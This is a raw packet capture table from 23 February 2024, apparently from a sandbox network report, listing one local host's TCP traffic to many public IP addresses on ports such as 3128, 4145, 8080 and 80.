Feb 23, 2024 09:45:17.700352907 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700365067 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700381041 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700412035 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700448990 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700468063 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700484037 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700490952 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700576067 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700615883 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700624943 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700666904 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700683117 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700706005 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700814962 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700845957 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700858116 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700903893 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700922012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.700992107 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.700992107 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.701246977 CET	4145	50548	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.701266050 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.701313019 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.701343060 CET	50548	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:17.702374935 CET	4145	50548	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.702418089 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.704193115 CET	80	50330	50.200.12.86	192.168.2.4
Feb 23, 2024 09:45:17.704428911 CET	56755	50223	162.214.102.195	192.168.2.4
Feb 23, 2024 09:45:17.704446077 CET	56755	50223	162.214.102.195	192.168.2.4
Feb 23, 2024 09:45:17.706304073 CET	33429	50377	193.106.57.7	192.168.2.4
Feb 23, 2024 09:45:17.706336021 CET	50223	56755	192.168.2.4	162.214.102.195
Feb 23, 2024 09:45:17.708394051 CET	80	49786	154.113.121.60	192.168.2.4
Feb 23, 2024 09:45:17.709264994 CET	50056	8080	192.168.2.4	5.78.89.192
Feb 23, 2024 09:45:17.709264994 CET	50068	29430	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:17.709549904 CET	80	50539	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:17.710532904 CET	14745	50167	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.719475031 CET	80	50118	123.110.158.236	192.168.2.4
Feb 23, 2024 09:45:17.719908953 CET	80	50154	14.43.238.82	192.168.2.4
Feb 23, 2024 09:45:17.727719069 CET	80	49735	50.172.227.202	192.168.2.4
Feb 23, 2024 09:45:17.734925032 CET	8000	50142	137.184.22.92	192.168.2.4
Feb 23, 2024 09:45:17.738874912 CET	6533	50208	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.739667892 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.739696026 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.739732981 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.739751101 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.739859104 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.739859104 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.740123987 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.740148067 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.740164995 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.740227938 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.740252972 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.740514994 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.740560055 CET	50533	80	192.168.2.4	50.170.90.27
Feb 23, 2024 09:45:17.740560055 CET	50020	48024	192.168.2.4	181.113.34.86
Feb 23, 2024 09:45:17.740714073 CET	50121	999	192.168.2.4	45.229.34.174
Feb 23, 2024 09:45:17.740716934 CET	49958	57520	192.168.2.4	41.242.90.3
Feb 23, 2024 09:45:17.741019964 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741056919 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741096973 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741123915 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.741137981 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741280079 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741332054 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741349936 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741358042 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.741367102 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.741389036 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.741777897 CET	27645	50055	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.741806030 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.741961956 CET	6441	50046	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.742141008 CET	3021	49805	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.742181063 CET	27917	50139	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.742203951 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742275953 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742292881 CET	10005	50461	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.742319107 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742325068 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742342949 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742537022 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742557049 CET	10739	50198	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.742562056 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742573023 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742588997 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742605925 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742621899 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742631912 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742639065 CET	12707	50161	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.742646933 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742655039 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742670059 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742707014 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742722034 CET	14917	50518	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.742738962 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742768049 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742799044 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742872000 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742891073 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742894888 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742907047 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742923975 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742939949 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.742945910 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742961884 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.742971897 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.743046999 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.743069887 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.743108988 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.743124962 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.743140936 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.743200064 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.743200064 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.744458914 CET	4145	50547	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:17.744548082 CET	4145	50547	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:17.752054930 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752074957 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752089024 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752100945 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752113104 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752129078 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752157927 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752162933 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752177954 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752192020 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752192974 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752203941 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752216101 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752228975 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752243996 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752268076 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752291918 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752305031 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752316952 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752327919 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752347946 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752362013 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752374887 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752386093 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752386093 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752398014 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752419949 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752454996 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752476931 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752496958 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752510071 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752531052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752553940 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752563000 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752574921 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752609015 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752621889 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752626896 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752626896 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752635002 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752669096 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752686977 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752693892 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752698898 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752712011 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752722025 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752723932 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752746105 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752799988 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752811909 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752824068 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752825022 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752841949 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752845049 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.752857924 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752871037 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.752892017 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.756125927 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.756129980 CET	50561	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:17.758706093 CET	8080	50116	112.205.92.14	192.168.2.4
Feb 23, 2024 09:45:17.764961958 CET	54330	49995	206.189.15.100	192.168.2.4
Feb 23, 2024 09:45:17.771749020 CET	50559	6984	192.168.2.4	162.214.170.144
Feb 23, 2024 09:45:17.771776915 CET	49877	2929	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.771776915 CET	50289	36546	192.168.2.4	70.32.26.23
Feb 23, 2024 09:45:17.775612116 CET	22035	49953	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.784606934 CET	80	50522	50.218.57.74	192.168.2.4
Feb 23, 2024 09:45:17.787400007 CET	50350	8089	192.168.2.4	111.225.153.200
Feb 23, 2024 09:45:17.802191973 CET	60186	49983	166.62.53.45	192.168.2.4
Feb 23, 2024 09:45:17.802304029 CET	80	50137	50.168.163.178	192.168.2.4
Feb 23, 2024 09:45:17.802622080 CET	8000	49778	137.184.15.145	192.168.2.4
Feb 23, 2024 09:45:17.803018093 CET	50442	80	192.168.2.4	103.75.117.79
Feb 23, 2024 09:45:17.803029060 CET	50165	4145	192.168.2.4	68.71.247.130
Feb 23, 2024 09:45:17.803065062 CET	50315	44712	192.168.2.4	92.204.135.4
Feb 23, 2024 09:45:17.803158998 CET	49896	2589	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:17.807595968 CET	80	50026	50.172.75.124	192.168.2.4
Feb 23, 2024 09:45:17.814687014 CET	31979	49999	51.77.73.78	192.168.2.4
Feb 23, 2024 09:45:17.814717054 CET	3128	50000	37.120.222.132	192.168.2.4
Feb 23, 2024 09:45:17.815941095 CET	4145	49945	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:17.820384026 CET	49945	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:17.821578979 CET	4145	50057	107.181.168.145	192.168.2.4
Feb 23, 2024 09:45:17.832243919 CET	4153	50199	103.117.109.9	192.168.2.4
Feb 23, 2024 09:45:17.834255934 CET	50202	3128	192.168.2.4	37.156.28.43
Feb 23, 2024 09:45:17.834259033 CET	49907	6095	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.834351063 CET	49918	26077	192.168.2.4	72.10.160.92
Feb 23, 2024 09:45:17.835396051 CET	50113	80	192.168.2.4	50.204.219.224
Feb 23, 2024 09:45:17.835398912 CET	50112	8080	192.168.2.4	186.192.195.211
Feb 23, 2024 09:45:17.837974072 CET	8000	50183	128.199.252.22	192.168.2.4
Feb 23, 2024 09:45:17.840404987 CET	80	50061	50.172.75.120	192.168.2.4
Feb 23, 2024 09:45:17.841831923 CET	3128	49807	3.9.71.167	192.168.2.4
Feb 23, 2024 09:45:17.849936962 CET	50215	23475	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.849936962 CET	50034	80	192.168.2.4	211.128.96.206
Feb 23, 2024 09:45:17.849936962 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:17.849956989 CET	50225	6227	192.168.2.4	72.10.160.171
Feb 23, 2024 09:45:17.849956989 CET	50491	31147	192.168.2.4	209.121.164.50
Feb 23, 2024 09:45:17.849961042 CET	49952	2941	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.849967003 CET	50483	1981	192.168.2.4	144.91.89.245
Feb 23, 2024 09:45:17.849972010 CET	50237	25085	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.849977970 CET	49743	80	192.168.2.4	68.185.57.66
Feb 23, 2024 09:45:17.849983931 CET	49818	20056	192.168.2.4	103.215.139.32
Feb 23, 2024 09:45:17.849984884 CET	49834	10011	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.849984884 CET	50342	5678	192.168.2.4	223.25.101.86
Feb 23, 2024 09:45:17.849989891 CET	50309	8000	192.168.2.4	183.100.14.134
Feb 23, 2024 09:45:17.849989891 CET	50276	10801	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.849997997 CET	50321	4145	192.168.2.4	134.236.118.74
Feb 23, 2024 09:45:17.850013018 CET	50022	52246	192.168.2.4	45.7.177.85
Feb 23, 2024 09:45:17.850013971 CET	49856	80	192.168.2.4	50.174.145.10
Feb 23, 2024 09:45:17.850014925 CET	50492	5678	192.168.2.4	212.89.173.101
Feb 23, 2024 09:45:17.850016117 CET	49878	6331	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.850023985 CET	50337	8080	192.168.2.4	103.172.1.35
Feb 23, 2024 09:45:17.850025892 CET	50279	16489	192.168.2.4	162.210.192.135
Feb 23, 2024 09:45:17.850027084 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:17.850025892 CET	50256	80	192.168.2.4	50.174.145.13
Feb 23, 2024 09:45:17.850025892 CET	50131	62842	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:17.850033045 CET	50300	9999	192.168.2.4	171.35.172.147
Feb 23, 2024 09:45:17.850043058 CET	50562	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:17.850045919 CET	50528	80	192.168.2.4	13.81.217.201
Feb 23, 2024 09:45:17.850063086 CET	50251	80	192.168.2.4	50.168.163.179
Feb 23, 2024 09:45:17.850069046 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:17.850754976 CET	33427	49912	91.135.80.66	192.168.2.4
Feb 23, 2024 09:45:17.850785971 CET	49814	80	192.168.2.4	50.172.23.10
Feb 23, 2024 09:45:17.850944042 CET	80	50533	50.170.90.27	192.168.2.4
Feb 23, 2024 09:45:17.860320091 CET	9000	50546	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:17.861882925 CET	4145	50376	185.169.181.22	192.168.2.4
Feb 23, 2024 09:45:17.865531921 CET	49891	45365	192.168.2.4	142.93.151.99
Feb 23, 2024 09:45:17.865531921 CET	49986	3128	192.168.2.4	78.38.93.22
Feb 23, 2024 09:45:17.865597010 CET	49821	8587	192.168.2.4	178.62.103.49
Feb 23, 2024 09:45:17.867091894 CET	2929	49877	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.869683981 CET	8080	50010	212.174.79.165	192.168.2.4
Feb 23, 2024 09:45:17.873147011 CET	80	50438	50.230.222.202	192.168.2.4
Feb 23, 2024 09:45:17.873184919 CET	50010	8080	192.168.2.4	212.174.79.165
Feb 23, 2024 09:45:17.874150991 CET	36546	50289	70.32.26.23	192.168.2.4
Feb 23, 2024 09:45:17.881128073 CET	49946	80	192.168.2.4	50.174.214.218
Feb 23, 2024 09:45:17.881208897 CET	49944	5769	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:17.886194944 CET	29430	50068	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:17.887449026 CET	8080	50056	5.78.89.192	192.168.2.4
Feb 23, 2024 09:45:17.893249989 CET	17182	49775	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:17.895868063 CET	999	50121	45.229.34.174	192.168.2.4
Feb 23, 2024 09:45:17.896763086 CET	49807	3128	192.168.2.4	3.9.71.167
Feb 23, 2024 09:45:17.896775007 CET	50345	2011	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:17.897125959 CET	44712	50315	92.204.135.4	192.168.2.4
Feb 23, 2024 09:45:17.898288012 CET	2589	49896	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:17.912648916 CET	50087	5089	192.168.2.4	67.43.236.18
Feb 23, 2024 09:45:17.912659883 CET	50076	5678	192.168.2.4	109.127.82.114
Feb 23, 2024 09:45:17.913781881 CET	3128	50257	195.158.16.9	192.168.2.4
Feb 23, 2024 09:45:17.913860083 CET	4145	50561	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:17.913872957 CET	4145	50561	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:17.915668011 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915683031 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915693998 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915766001 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915779114 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915790081 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915802002 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915813923 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915822983 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.915823936 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.915854931 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.915854931 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.915857077 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915896893 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915909052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915920019 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915931940 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.915932894 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915946007 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915957928 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.915982962 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916006088 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916006088 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916182041 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916193962 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916203976 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916208029 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916214943 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916227102 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916238070 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916249990 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916264057 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916347980 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916372061 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916444063 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916455030 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916474104 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916482925 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916486025 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916498899 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916507959 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916512012 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916523933 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916534901 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916537046 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916549921 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916563034 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916564941 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916577101 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916717052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916743994 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916743994 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916771889 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916785002 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916795015 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916809082 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916821003 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916821003 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916831970 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916840076 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916915894 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916929007 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916939020 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916944981 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916953087 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916958094 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916965961 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916976929 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916984081 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.916989088 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.916999102 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.917001009 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917013884 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.917023897 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.917038918 CET	80	49783	96.114.36.9	192.168.2.4
